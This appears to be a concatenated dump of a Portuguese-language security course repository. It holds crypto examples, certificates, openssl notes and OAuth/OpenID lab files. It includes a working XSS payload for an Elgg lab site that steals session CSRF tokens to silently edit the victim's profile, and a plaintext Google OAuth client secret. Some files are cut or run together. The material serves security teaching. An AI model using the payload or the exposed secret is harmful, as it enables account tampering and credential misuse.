-------------------------------------------------------------------------------- /Semana 5/Aula 13/build-TLS_Client-Desktop-Debug/.qmake.stash: -------------------------------------------------------------------------------- 1 | QMAKE_CXX.INCDIRS = \ 2 | /usr/include/c++/7 \ 3 | /usr/include/x86_64-linux-gnu/c++/7 \ 4 | /usr/include/c++/7/backward \ 5 | /usr/lib/gcc/x86_64-linux-gnu/7/include \ 6 | /usr/local/include \ 7 | /usr/lib/gcc/x86_64-linux-gnu/7/include-fixed \ 8 | /usr/include/x86_64-linux-gnu \ 9 | /usr/include 10 | QMAKE_CXX.LIBDIRS = \ 11 | /usr/lib/gcc/x86_64-linux-gnu/7 \ 12 | /usr/lib/x86_64-linux-gnu \ 13 | /usr/lib \ 14 | /lib/x86_64-linux-gnu \ 15 | /lib 16 | QMAKE_CXX.QT_COMPILER_STDCXX = 201402L 17 | QMAKE_CXX.QMAKE_GCC_MAJOR_VERSION = 7 18 | QMAKE_CXX.QMAKE_GCC_MINOR_VERSION = 4 19 | QMAKE_CXX.QMAKE_GCC_PATCH_VERSION = 0 20 | QMAKE_CXX.COMPILER_MACROS = \ 21 | QT_COMPILER_STDCXX \ 22 | QMAKE_GCC_MAJOR_VERSION \ 23 | QMAKE_GCC_MINOR_VERSION \ 24 | QMAKE_GCC_PATCH_VERSION 25 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Client-Desktop-Debug/.qmake.stash: -------------------------------------------------------------------------------- 1 | QMAKE_CXX.INCDIRS = \ 2 | /usr/include/c++/7 \ 3 | /usr/include/x86_64-linux-gnu/c++/7 \ 4 | /usr/include/c++/7/backward \ 5 | /usr/lib/gcc/x86_64-linux-gnu/7/include \ 6 | /usr/local/include \ 7 | /usr/lib/gcc/x86_64-linux-gnu/7/include-fixed \ 8 | /usr/include/x86_64-linux-gnu \ 9 | /usr/include 10 | QMAKE_CXX.LIBDIRS = \ 11 | /usr/lib/gcc/x86_64-linux-gnu/7 \ 12 | /usr/lib/x86_64-linux-gnu \ 13 | /usr/lib \ 14 | /lib/x86_64-linux-gnu \ 15 | /lib 16 | QMAKE_CXX.QT_COMPILER_STDCXX = 201402L 17 | QMAKE_CXX.QMAKE_GCC_MAJOR_VERSION = 7 18 | QMAKE_CXX.QMAKE_GCC_MINOR_VERSION = 4 19 | QMAKE_CXX.QMAKE_GCC_PATCH_VERSION = 0 20 | QMAKE_CXX.COMPILER_MACROS = \ 21 | QT_COMPILER_STDCXX \ 22 | QMAKE_GCC_MAJOR_VERSION \ 23 | QMAKE_GCC_MINOR_VERSION \ 24 | QMAKE_GCC_PATCH_VERSION 25 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/.qmake.stash: -------------------------------------------------------------------------------- 1 | QMAKE_CXX.INCDIRS = \ 2 | /usr/include/c++/7 \ 3 | /usr/include/x86_64-linux-gnu/c++/7 \ 4 | /usr/include/c++/7/backward \ 5 | /usr/lib/gcc/x86_64-linux-gnu/7/include \ 6 | /usr/local/include \ 7 | /usr/lib/gcc/x86_64-linux-gnu/7/include-fixed \ 8 | /usr/include/x86_64-linux-gnu \ 9 | /usr/include 10 | QMAKE_CXX.LIBDIRS = \ 11 | /usr/lib/gcc/x86_64-linux-gnu/7 \ 12 | /usr/lib/x86_64-linux-gnu \ 13 | /usr/lib \ 14 | /lib/x86_64-linux-gnu \ 15 | /lib 16 | QMAKE_CXX.QT_COMPILER_STDCXX = 201402L 17 | QMAKE_CXX.QMAKE_GCC_MAJOR_VERSION = 7 18 | QMAKE_CXX.QMAKE_GCC_MINOR_VERSION = 4 19 | QMAKE_CXX.QMAKE_GCC_PATCH_VERSION = 0 20 | QMAKE_CXX.COMPILER_MACROS = \ 21 | QT_COMPILER_STDCXX \ 22 | QMAKE_GCC_MAJOR_VERSION \ 23 | QMAKE_GCC_MINOR_VERSION \ 24 | QMAKE_GCC_PATCH_VERSION 25 | -------------------------------------------------------------------------------- /Semana 11/Aula 31/OpenID-Connect/commandLine.txt: -------------------------------------------------------------------------------- 1 | npm install 2 | 3 | npm install express 4 | 5 | npm install jsonwebtoken 6 | 7 | node relying-party-demo.js 8 | 9 | # Create Client account in 10 | Console do Google Cloud Platform 11 | https://console.developers.google.com/?hl=pt-BR 12 | 13 | Este é seu ID do cliente 14 | 1057256337446-qrssavk8hijf078q9em4rrki28d5o12g.apps.googleusercontent.com 15 | 16 | Esta é sua chave secreta do cliente 17 | _8Z_gCAYrmMmVq_t4wrys8pd 18 | 19 | # On linux with the shell bash, you create environment variables like this (in the console): 20 | #export FOO=bar 21 | 22 | export CLIENT_ID=1057256337446-qrssavk8hijf078q9em4rrki28d5o12g.apps.googleusercontent.com 23 | export CLIENT_SECRET=_8Z_gCAYrmMmVq_t4wrys8pd 24 | 25 | echo $CLIENT_ID 26 | echo $CLIENT_SECRET 27 | 28 | 29 | # Access 30 | 31 | http://localhost:3001/ 32 | 33 | in the browser to connect to relying-party 34 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Client_with_callback-Desktop-Debug/.qmake.stash: -------------------------------------------------------------------------------- 1 | QMAKE_CXX.INCDIRS = \ 2 | /usr/include/c++/7 \ 3 | /usr/include/x86_64-linux-gnu/c++/7 \ 4 | /usr/include/c++/7/backward \ 5 | /usr/lib/gcc/x86_64-linux-gnu/7/include \ 6 | /usr/local/include \ 7 | /usr/lib/gcc/x86_64-linux-gnu/7/include-fixed \ 8 | /usr/include/x86_64-linux-gnu \ 9 | /usr/include 10 | QMAKE_CXX.LIBDIRS = \ 11 | /usr/lib/gcc/x86_64-linux-gnu/7 \ 12 | /usr/lib/x86_64-linux-gnu \ 13 | /usr/lib \ 14 | /lib/x86_64-linux-gnu \ 15 | /lib 16 | QMAKE_CXX.QT_COMPILER_STDCXX = 201402L 17 | QMAKE_CXX.QMAKE_GCC_MAJOR_VERSION = 7 18 | QMAKE_CXX.QMAKE_GCC_MINOR_VERSION = 4 19 | QMAKE_CXX.QMAKE_GCC_PATCH_VERSION = 0 20 | QMAKE_CXX.COMPILER_MACROS = \ 21 | QT_COMPILER_STDCXX \ 22 | QMAKE_GCC_MAJOR_VERSION \ 23 | QMAKE_GCC_MINOR_VERSION \ 24 | QMAKE_GCC_PATCH_VERSION 25 | -------------------------------------------------------------------------------- /Semana 4/Aula 10/Certificates-openssl.txt: -------------------------------------------------------------------------------- 1 | # Certificates - openssl commands 2 | 3 | # Connect to www.paypal.com and get certificate info 4 | openssl s_client -showcerts -connect www.paypal.com:443 2 | window.onload = function(){ 3 | var guid = "&guid=" + elgg.session.user.guid; 4 | var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts; 5 | var token = "&__elgg_token=" + elgg.security.token.__elgg_token; 6 | var name = "&name=" + elgg.session.user.name; 7 | var desc = "&description=Samy is my hero" + 8 | "&accesslevel[description]=2"; 9 | 10 | // Construct the content of your url. 11 | var sendurl = "http://www.xsslabelgg.com/action/profile/edit"; 12 | var content = token + ts + name + desc + guid; 13 | if (elgg.session.user.guid != 47){ 14 | //Create and send Ajax request to modify profile 15 | var Ajax=null; 16 | Ajax = new XMLHttpRequest(); 17 | Ajax.open("POST",sendurl,true); 18 | Ajax.setRequestHeader("Content-Type", 19 | "application/x-www-form-urlencoded"); 20 | Ajax.send(content); 21 | } 22 | } 23 | 24 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/modelCA and cert_server/bank.csr: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE REQUEST----- 2 | MIICiTCCAXECAQAwRDELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE5ldyBZb3JrMQ0w 3 | CwYDVQQKDARCYW5rMRMwEQYDVQQDDApiYW5rMzIuY29tMIIBIjANBgkqhkiG9w0B 4 | AQEFAAOCAQ8AMIIBCgKCAQEAuvVWstwwaU95cqAaX5GPchsl8YGnMgG2xcUnrPX6 5 | v9py5rFKF5ZKYjSWrZFsw2uwGq/LoiFDTjEXrC49ixv9SFErXmofuhB6iMlktk+T 6 | cNQ+RNKfB6+BqoCgotpI66wh33PHDCDRNsmTlQMg9PsPtm5owjAw4yfYff51Fa/F 7 | BfMq8/Y7uDHjesfU53vi/KUgXVxNpnTzTCAdfdDx0B2clEhP3VhlCygiAXB0NIPp 8 | Wkqilengxd5bM8AizgAhkEqXodhN/CcTkiHvhPtyLsT/m6qaKFVOHZPMVkP6FJIO 9 | o0j4Xh4SK6J+ZU2T6EiuM1Y5vH0N+a2i9o6AQx7QZyEjTwIDAQABoAAwDQYJKoZI 10 | hvcNAQELBQADggEBAIyGLK0xYT9LL72FWY2+kzybfeMGs1o6m6SfW91tBIIc0IWD 11 | h6rngH1fAR4jzcoTYoW+FVaF7GqPE4dBqQ5B/UX68QPlfQYl4cIiyHNY1HecHbCh 12 | XO5bPtxgEvm77FeaGIdH+/2EJasEIN48uwAOJmc2XMPaKvaIouyLyBEAqvFS/iX7 13 | HsVFGgvbLuzpxbT4Erml3MA2PPuSU+9UN5yTnASlLlw81zsOCJVVG7mJU2Eta7Yw 14 | 9VUatyVgD7Ms6soY1PJf+TvfoSoTV2Kb2hW9HVXiaQC/Egho15PLAx6gMGd62dzQ 15 | +vDCWgZHmmzwKPWkeUDNZjhFTPcC5243Je7KPPY= 16 | -----END CERTIFICATE REQUEST----- 17 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/cert/bank.csr: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE REQUEST----- 2 | MIICiTCCAXECAQAwRDELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE5ldyBZb3JrMQ0w 3 | CwYDVQQKDARCYW5rMRMwEQYDVQQDDApiYW5rMzIuY29tMIIBIjANBgkqhkiG9w0B 4 | AQEFAAOCAQ8AMIIBCgKCAQEAuvVWstwwaU95cqAaX5GPchsl8YGnMgG2xcUnrPX6 5 | v9py5rFKF5ZKYjSWrZFsw2uwGq/LoiFDTjEXrC49ixv9SFErXmofuhB6iMlktk+T 6 | cNQ+RNKfB6+BqoCgotpI66wh33PHDCDRNsmTlQMg9PsPtm5owjAw4yfYff51Fa/F 7 | BfMq8/Y7uDHjesfU53vi/KUgXVxNpnTzTCAdfdDx0B2clEhP3VhlCygiAXB0NIPp 8 | Wkqilengxd5bM8AizgAhkEqXodhN/CcTkiHvhPtyLsT/m6qaKFVOHZPMVkP6FJIO 9 | o0j4Xh4SK6J+ZU2T6EiuM1Y5vH0N+a2i9o6AQx7QZyEjTwIDAQABoAAwDQYJKoZI 10 | hvcNAQELBQADggEBAIyGLK0xYT9LL72FWY2+kzybfeMGs1o6m6SfW91tBIIc0IWD 11 | h6rngH1fAR4jzcoTYoW+FVaF7GqPE4dBqQ5B/UX68QPlfQYl4cIiyHNY1HecHbCh 12 | XO5bPtxgEvm77FeaGIdH+/2EJasEIN48uwAOJmc2XMPaKvaIouyLyBEAqvFS/iX7 13 | HsVFGgvbLuzpxbT4Erml3MA2PPuSU+9UN5yTnASlLlw81zsOCJVVG7mJU2Eta7Yw 14 | 9VUatyVgD7Ms6soY1PJf+TvfoSoTV2Kb2hW9HVXiaQC/Egho15PLAx6gMGd62dzQ 15 | +vDCWgZHmmzwKPWkeUDNZjhFTPcC5243Je7KPPY= 16 | -----END CERTIFICATE REQUEST----- 17 | -------------------------------------------------------------------------------- /Semana 2/Aula 4/infile.txt: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from Crypto.Cipher import AES 4 | from Crypto.Util import Padding 5 | 6 | key_hex_string = '00112233445566778899AABBCCDDEEFF' 7 | iv_hex_string = '000102030405060708090A0B0C0D0E0F' 8 | key = bytes.fromhex(key_hex_string) 9 | iv = bytes.fromhex(iv_hex_string) 10 | data = b'The quick brown fox jumps over the lazy dog' 11 | print("Length of data: {0:d}".format(len(data))) 12 | 13 | # Encrypt the data piece by piece 14 | cipher = AES.new(key, AES.MODE_CBC, iv) 15 | ciphertext = cipher.encrypt(data[0:32]) 16 | ciphertext += cipher.encrypt(Padding.pad(data[32:], 16)) 17 | print("Ciphertext: {0}".format(ciphertext.hex())) 18 | 19 | # Encrypt the entire data 20 | cipher = AES.new(key, AES.MODE_CBC, iv) 21 | ciphertext = cipher.encrypt(Padding.pad(data, 16)) 22 | print("Ciphertext: {0}".format(ciphertext.hex())) 23 | 24 | # Decrypt the ciphertext 25 | cipher = AES.new(key, AES.MODE_CBC, iv) 26 | plaintext = cipher.decrypt(ciphertext) 27 | print("Plaintext: {0}".format(Padding.unpad(plaintext, 16))) 28 | -------------------------------------------------------------------------------- /Semana 1/Aula 2 e 3/infile.txt: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from Crypto.Cipher import AES 4 | from Crypto.Util import Padding 5 | 6 | key_hex_string = '00112233445566778899AABBCCDDEEFF' 7 | iv_hex_string = '000102030405060708090A0B0C0D0E0F' 8 | key = bytes.fromhex(key_hex_string) 9 | iv = bytes.fromhex(iv_hex_string) 10 | data = b'The quick brown fox jumps over the lazy dog' 11 | print("Length of data: {0:d}".format(len(data))) 12 | 13 | # Encrypt the data piece by piece 14 | cipher = AES.new(key, AES.MODE_CBC, iv) 15 | ciphertext = cipher.encrypt(data[0:32]) 16 | ciphertext += cipher.encrypt(Padding.pad(data[32:], 16)) 17 | print("Ciphertext: {0}".format(ciphertext.hex())) 18 | 19 | # Encrypt the entire data 20 | cipher = AES.new(key, AES.MODE_CBC, iv) 21 | ciphertext = cipher.encrypt(Padding.pad(data, 16)) 22 | print("Ciphertext: {0}".format(ciphertext.hex())) 23 | 24 | # Decrypt the ciphertext 25 | cipher = AES.new(key, AES.MODE_CBC, iv) 26 | plaintext = cipher.decrypt(ciphertext) 27 | print("Plaintext: {0}".format(Padding.unpad(plaintext, 16))) 28 | -------------------------------------------------------------------------------- /Semana 1/Aula 2 e 3/infile1.txt: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from Crypto.Cipher import AES 4 | from Crypto.Util import Padding 5 | 6 | key_hex_string = '00112233445566778899AABBCCDDEEFF' 7 | iv_hex_string = '000102030405060708090A0B0C0D0E0F' 8 | key = bytes.fromhex(key_hex_string) 9 | iv = bytes.fromhex(iv_hex_string) 10 | data = b'The quick brown fox jumps over the lazy dog' 11 | print("Length of data: {0:d}".format(len(data))) 12 | 13 | # Encrypt the data piece by piece 14 | cipher = AES.new(key, AES.MODE_CBC, iv) 15 | ciphertext = cipher.encrypt(data[0:32]) 16 | ciphertext += cipher.encrypt(Padding.pad(data[32:], 16)) 17 | print("Ciphertext: {0}".format(ciphertext.hex())) 18 | 19 | # Encrypt the entire data 20 | cipher = AES.new(key, AES.MODE_CBC, iv) 21 | ciphertext = cipher.encrypt(Padding.pad(data, 16)) 22 | print("Ciphertext: {0}".format(ciphertext.hex())) 23 | 24 | # Decrypt the ciphertext 25 | cipher = AES.new(key, AES.MODE_CBC, iv) 26 | plaintext = cipher.decrypt(ciphertext) 27 | print("Plaintext: {0}".format(Padding.unpad(plaintext, 16))) 28 | -------------------------------------------------------------------------------- /Semana 2/Aula 4/infile_changed.txt: -------------------------------------------------------------------------------- 1 | !/usr/bin/python3 2 | 3 | from Crypto.Cipher import AES 4 | from Crypto.Util import Padding 5 | 6 | key_hex_string = '00112233445566778899AABBCCDDEEFF' 7 | iv_hex_string = '000102030405060708090A0B0C0D0E0F' 8 | key = bytes.fromhex(key_hex_string) 9 | iv = bytes.fromhex(iv_hex_string) 10 | data = b'The quick brown fox jumps over the lazy dog' 11 | print("Length of data: {0:d}".format(len(data))) 12 | 13 | # Encrypt the data piece by piece 14 | cipher = AES.new(key, AES.MODE_CBC, iv) 15 | ciphertext = cipher.encrypt(data[0:32]) 16 | ciphertext += cipher.encrypt(Padding.pad(data[32:], 16)) 17 | print("Ciphertext: {0}".format(ciphertext.hex())) 18 | 19 | # Encrypt the entire data 20 | cipher = AES.new(key, AES.MODE_CBC, iv) 21 | ciphertext = cipher.encrypt(Padding.pad(data, 16)) 22 | print("Ciphertext: {0}".format(ciphertext.hex())) 23 | 24 | # Decrypt the ciphertext 25 | cipher = AES.new(key, AES.MODE_CBC, iv) 26 | plaintext = cipher.decrypt(ciphertext) 27 | print("Plaintext: {0}".format(Padding.unpad(plaintext, 16))) 28 | -------------------------------------------------------------------------------- /Semana 3/Aula 8 e 9/DigitalSignature.java: -------------------------------------------------------------------------------- 1 | import java.security.*; 2 | 3 | public class DigitalSignature { 4 | public static void main(String[] args) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException { 5 | byte[] plaintext = "The quick brown fox jumps over the lazy dog".getBytes(); 6 | 7 | KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA"); 8 | KeyPair pair = generator.generateKeyPair(); 9 | 10 | PublicKey publicKey = pair.getPublic(); 11 | PrivateKey privateKey = pair.getPrivate(); 12 | 13 | System.out.println(publicKey); 14 | System.out.println(privateKey); 15 | 16 | // Sign 17 | Signature digitalSignature = Signature.getInstance("SHA1withRSA"); 18 | digitalSignature.initSign(privateKey); 19 | digitalSignature.update(plaintext); 20 | byte[] signature = digitalSignature.sign(); 21 | 22 | // change message 23 | plaintext[4] = 'Q'; 24 | 25 | // Verify signature 26 | digitalSignature.initVerify(publicKey); 27 | digitalSignature.update(plaintext); 28 | boolean result = digitalSignature.verify(signature); 29 | System.out.println("Signature valid? " + result); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/cert/DigiCertGlobalRootCA.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh 3 | MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 4 | d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD 5 | QTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT 6 | MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j 7 | b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG 8 | 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB 9 | CSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97 10 | nh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt 11 | 43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P 12 | T19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4 13 | gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO 14 | BgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR 15 | TLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw 16 | DQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr 17 | hMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg 18 | 06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF 19 | PnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls 20 | YSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk 21 | CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4= 22 | -----END CERTIFICATE----- 23 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/cert/GlobalSignRootCA-R2.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDujCCAqKgAwIBAgILBAAAAAABD4Ym5g0wDQYJKoZIhvcNAQEFBQAwTDEgMB4G 3 | A1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjIxEzARBgNVBAoTCkdsb2JhbFNp 4 | Z24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMDYxMjE1MDgwMDAwWhcNMjExMjE1 5 | MDgwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMjETMBEG 6 | A1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCASIwDQYJKoZI 7 | hvcNAQEBBQADggEPADCCAQoCggEBAKbPJA6+Lm8omUVCxKs+IVSbC9N/hHD6ErPL 8 | v4dfxn+G07IwXNb9rfF73OX4YJYJkhD10FPe+3t+c4isUoh7SqbKSaZeqKeMWhG8 9 | eoLrvozps6yWJQeXSpkqBy+0Hne/ig+1AnwblrjFuTosvNYSuetZfeLQBoZfXklq 10 | tTleiDTsvHgMCJiEbKjNS7SgfQx5TfC4LcshytVsW33hoCmEofnTlEnLJGKRILzd 11 | C9XZzPnqJworc5HGnRusyMvo4KD0L5CLTfuwNhv2GXqF4G3yYROIXJ/gkwpRl4pa 12 | zq+r1feqCapgvdzZX99yqWATXgAByUr6P6TqBwMhAo6CygPCm48CAwEAAaOBnDCB 13 | mTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUm+IH 14 | V2ccHsBqBt5ZtJot39wZhi4wNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2NybC5n 15 | bG9iYWxzaWduLm5ldC9yb290LXIyLmNybDAfBgNVHSMEGDAWgBSb4gdXZxwewGoG 16 | 3lm0mi3f3BmGLjANBgkqhkiG9w0BAQUFAAOCAQEAmYFThxxol4aR7OBKuEQLq4Gs 17 | J0/WwbgcQ3izDJr86iw8bmEbTUsp9Z8FHSbBuOmDAGJFtqkIk7mpM0sYmsL4h4hO 18 | 291xNBrBVNpGP+DTKqttVCL1OmLNIG+6KYnX3ZHu01yiPqFbQfXf5WRDLenVOavS 19 | ot+3i9DAgBkcRcAtjOj4LaR0VknFBbVPFd5uRHg5h6h+u/N5GJG79G+dwfCMNYxd 20 | AfvDbbnvRG15RjF+Cv6pgsH/76tuIMRQyV+dTZsXjAzlAcmgQWpzU/qlULRuJQ/7 21 | TBj0/VLZjmmx6BEP3ojY+x1J96relc8geMJgEtslQIxq/H5COEBkEveegeGTLg== 22 | -----END CERTIFICATE----- 23 | -------------------------------------------------------------------------------- /Semana 5/Aula 13/build-TLS_Client-Desktop-Debug/cert/DigiCertGlobalRootCA.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh 3 | MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 4 | d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD 5 | QTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT 6 | MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j 7 | b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG 8 | 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB 9 | CSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97 10 | nh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt 11 | 43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P 12 | T19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4 13 | gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO 14 | BgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR 15 | TLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw 16 | DQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr 17 | hMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg 18 | 06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF 19 | PnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls 20 | YSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk 21 | CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4= 22 | -----END CERTIFICATE----- 23 | -------------------------------------------------------------------------------- /Semana 14/Aula 40 e 41/Web_XSS/self_propagating.js: -------------------------------------------------------------------------------- 1 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /Semana 9/Aula 26 e 27/OAuth2/ex-1/files/client/error.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | OAuth in Action: OAuth Client 9 | 10 | 11 | 12 | 20 | 21 | 22 | 26 | 27 | 28 | 29 | 36 | 37 |
38 | 39 |
40 |

Error

41 | <%- error %> 42 |
43 | 44 |
45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /Semana 11/Aula 31/ex-2-OAuth-JWT/files/authorizationServer/error.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | OAuth in Action: OAuth Authorization Server 9 | 10 | 11 | 12 | 20 | 21 | 22 | 26 | 27 | 28 | 29 | 36 | 37 |
38 | 39 |
40 |

Error

41 | <%- error %> 42 |
43 | 44 |
45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /Semana 11/Aula 31/ex-2-OAuth-JWT/files/client/data.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | OAuth in Action: OAuth Client 9 | 10 | 11 | 12 | 20 | 21 | 22 | 26 | 27 | 28 | 29 | 36 | 37 |
38 | 39 |
40 |

Data from protected resource:

41 |
<%- JSON.stringify(resource, null, 4) %>
42 |
43 | 44 |
45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /Semana 9/Aula 26 e 27/OAuth2/ex-1/files/authorizationServer/error.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | OAuth in Action: OAuth Authorization Server 9 | 10 | 11 | 12 | 20 | 21 | 22 | 26 | 27 | 28 | 29 | 36 | 37 |
38 | 39 |
40 |

Error

41 | <%- error %> 42 |
43 | 44 |
45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /Semana 9/Aula 26 e 27/OAuth2/ex-1/files/client/data.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | OAuth in Action: OAuth Client 9 | 10 | 11 | 12 | 20 | 21 | 22 | 26 | 27 | 28 | 29 | 36 | 37 |
38 | 39 |
40 |

Data from protected resource:

41 |
<%- JSON.stringify(resource, null, 4) %>
42 |
43 | 44 |
45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/modelCA and cert_server/modelCA_cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIFmTCCA4GgAwIBAgIUbeptOPDEUYhoQuxUZT6BIexLF54wDQYJKoZIhvcNAQEL 3 | BQAwXDELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE5ldyBZb3JrMREwDwYDVQQHDAhT 4 | eXJhY3VzZTERMA8GA1UECgwITW9kZWwgQ0ExFDASBgNVBAMMC21vZGVsQ0EuY29t 5 | MB4XDTE5MTAwODAwNTEwOFoXDTI5MTAwNTAwNTEwOFowXDELMAkGA1UEBhMCVVMx 6 | ETAPBgNVBAgMCE5ldyBZb3JrMREwDwYDVQQHDAhTeXJhY3VzZTERMA8GA1UECgwI 7 | TW9kZWwgQ0ExFDASBgNVBAMMC21vZGVsQ0EuY29tMIICIjANBgkqhkiG9w0BAQEF 8 | AAOCAg8AMIICCgKCAgEA32oSeN19W/QpFivJN+GwfVOkSm+tpokf5cESxxdtm444 9 | qj6Kut/HcVeLXXR0P90eYHc4qU+42gLtZL+Nio8K1K4U1LTS9f+tcyqcme3tO6Mm 10 | 